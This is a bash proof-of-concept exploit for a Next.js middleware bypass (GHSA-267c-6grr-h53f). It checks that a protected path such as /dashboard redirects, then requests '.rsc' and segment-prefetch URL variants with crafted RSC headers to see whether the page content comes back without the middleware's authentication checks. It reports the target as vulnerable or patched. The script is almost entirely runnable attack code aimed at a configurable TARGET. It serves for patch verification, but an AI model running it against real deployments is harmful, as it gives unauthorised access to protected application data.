#!/usr/bin/env bash # ============================================================================= # GHSA-267c-6grr-h53f — Middleware bypass via App Router segment-prefetch URLs # ============================================================================= # Usage: TARGET=http://localhost:3000 ./exploit.sh # ============================================================================= set -u TARGET="${TARGET:-http://localhost:3000}" PROTECTED_PATH="${PROTECTED_PATH:-/dashboard}" # ANSI colour R=$'\033[0;31m'; G=$'\033[0;32m'; Y=$'\033[1;33m'; B=$'\033[0;34m'; N=$'\033[0m' echo "${B}============================================================${N}" echo "${B} GHSA-267c-6grr-h53f — segment-prefetch middleware bypass ${N}" echo "${B}============================================================${N}" echo " Target : ${TARGET}" echo " Protected path : ${PROTECTED_PATH}" echo # ----------------------------------------------------------------------------- # Step 1 — Confirm the canonical path is protected by middleware. # Expectation on a vulnerable server: 307/302 → /login (or 401/403). # ----------------------------------------------------------------------------- echo "${Y}[1/4] Baseline — canonical path GET ${PROTECTED_PATH}${N}" BASELINE=$(curl -k -s -i -o /tmp/267c_baseline.txt -w '%{http_code}' \ "${TARGET}${PROTECTED_PATH}") echo " HTTP ${BASELINE}" LOCATION=$(grep -i '^location:' /tmp/267c_baseline.txt | head -1 | tr -d '\r') echo " ${LOCATION:-(no Location header)}" echo if [[ "${BASELINE}" =~ ^(301|302|303|307|308|401|403)$ ]]; then echo " ${G}✓ Middleware appears to gate the canonical path${N}" else echo " ${Y}! Canonical path returned ${BASELINE} — middleware may not be" echo " enforcing on canonical path either. Adjust PROTECTED_PATH/server.${N}" fi echo # ----------------------------------------------------------------------------- # Step 2 — Bypass attempt #1: .rsc transport variant. # We request `/dashboard.rsc` with the RSC headers a real client would send. # A vulnerable v16.2.4 server's compiled matcher regex does NOT include `.rsc`, # so middleware is skipped and the App Router still dispatches `/dashboard` # and returns the RSC flight payload. # ----------------------------------------------------------------------------- echo "${Y}[2/4] Bypass #1 — .rsc transport variant${N}" echo " GET ${PROTECTED_PATH}.rsc (RSC: 1, Next-Router-Prefetch: 1)" RSC_CODE=$(curl -k -s -i -o /tmp/267c_rsc.txt -w '%{http_code}' \ -H 'RSC: 1' \ -H 'Next-Router-Prefetch: 1' \ -H 'Next-Router-State-Tree: ["",{}]' \ -H 'Accept: text/x-component' \ "${TARGET}${PROTECTED_PATH}.rsc") RSC_CT=$(grep -i '^content-type:' /tmp/267c_rsc.txt | head -1 | tr -d '\r') RSC_LOC=$(grep -i '^location:' /tmp/267c_rsc.txt | head -1 | tr -d '\r') echo " HTTP ${RSC_CODE} ${RSC_CT}" [[ -n "${RSC_LOC}" ]] && echo " ${RSC_LOC}" echo # ----------------------------------------------------------------------------- # Step 3 — Bypass attempt #2: .segments/.../*.segment.rsc transport variant. # This is the App Router segment-prefetch URL shape (used by Next/Link # prefetch under cacheComponents/segment-cache). Same matcher gap. # ----------------------------------------------------------------------------- echo "${Y}[3/4] Bypass #2 — segment-prefetch transport variant${N}" SEG_URL="${PROTECTED_PATH}.segments/\$c\$children/__PAGE__.segment.rsc" echo " GET ${SEG_URL}" SEG_CODE=$(curl -k -s -i -o /tmp/267c_seg.txt -w '%{http_code}' \ -H 'RSC: 1' \ -H 'Next-Router-Segment-Prefetch: /__PAGE__' \ -H 'Accept: text/x-component' \ "${TARGET}${SEG_URL}") SEG_CT=$(grep -i '^content-type:' /tmp/267c_seg.txt | head -1 | tr -d '\r') SEG_LOC=$(grep -i '^location:' /tmp/267c_seg.txt | head -1 | tr -d '\r') echo " HTTP ${SEG_CODE} ${SEG_CT}" [[ -n "${SEG_LOC}" ]] && echo " ${SEG_LOC}" echo # ----------------------------------------------------------------------------- # Step 4 — Verdict. # A bypass is observed when: # * canonical path produced a redirect/4xx (i.e. middleware fires), AND # * .rsc OR segment-prefetch variant produced a 200 with text/x-component # (meaning the page rendered without middleware intervention). # ----------------------------------------------------------------------------- echo "${Y}[4/4] Verdict${N}" vuln=0 if [[ "${BASELINE}" =~ ^(301|302|303|307|308|401|403)$ ]]; then if [[ "${RSC_CODE}" == "200" && "${RSC_CT}" =~ text/x-component ]]; then vuln=1 echo " ${R}✗ VULNERABLE — .rsc bypass works" echo " Middleware redirected the canonical path but served the RSC payload" echo " on ${PROTECTED_PATH}.rsc with HTTP 200 + text/x-component.${N}" fi if [[ "${SEG_CODE}" == "200" && "${SEG_CT}" =~ text/x-component ]]; then vuln=1 echo " ${R}✗ VULNERABLE — segment-prefetch bypass works" echo " Middleware redirected the canonical path but served the segment" echo " payload on ${SEG_URL} with HTTP 200 + text/x-component.${N}" fi fi if [[ ${vuln} -eq 1 ]]; then echo echo "${R}>>> RESULT: PASS (vulnerability reproduced) <<<${N}" echo " Server is running a Next.js version where matcher regex misses" echo " App-Router transport URLs (≤ v16.2.4)." exit 0 fi echo " ${G}✓ PATCHED — both .rsc and .segments variants were redirected/blocked" echo " just like the canonical path.${N}" echo echo "${G}>>> RESULT: FAIL (target appears patched ≥ v16.2.5) <<<${N}" exit 1